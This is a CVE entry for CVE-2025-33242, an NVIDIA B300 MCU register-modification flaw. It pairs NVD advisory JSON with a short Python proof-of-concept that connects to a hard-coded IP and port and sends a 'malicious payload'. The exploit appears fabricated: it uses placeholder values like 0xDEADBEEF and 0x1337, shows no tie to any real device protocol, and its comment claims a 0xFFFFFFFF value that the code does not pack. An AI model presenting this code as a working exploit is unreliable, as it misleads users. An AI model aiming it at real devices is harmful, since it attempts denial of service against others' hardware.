CVE-2025-33242

import socket import struct def exploit_nvidia_mcu(target_ip, target_port): """ PoC for CVE-2025-33242 Attempts to modify an unsupported registry on NVIDIA B300 MCU. """ try: # Connect to the target MCU service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct malicious payload to modify registry # Header [0xDEADBEEF] | RegID [0x1337] | Value [0xFFFFFFFF] payload = struct.pack('>IHH', 0xDEADBEEF, 0x1337, 0xFFFF) print(f"[*] Sending malicious payload to {target_ip}:{target_port}") s.send(payload) print("[+] Payload sent. Check device status for DoS/State change.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_nvidia_mcu("192.168.1.100", 8080)

{"cve": {"id": "CVE-2025-33242", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:24.253", "lastModified": "2026-03-25T15:41:58.280", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA B300 MCU contains a vulnerability in the CX8 MCU that could allow a malicious actor to modify unsupported registries, causing a bad state. A successful exploit of this vulnerability might lead to denial of service and data tampering."}, {"lang": "es", "value": "La MCU NVIDIA B300 contiene una vulnerabilidad en la MCU CX8 que podría permitir a un actor malicioso modificar registros no soportados, causando un estado defectuoso. Un exploit exitoso de esta vulnerabilidad podría conducir a la denegación de servicio y a la manipulación de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1234"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33242", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5768", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33242", "source": "[email protected]"}]}}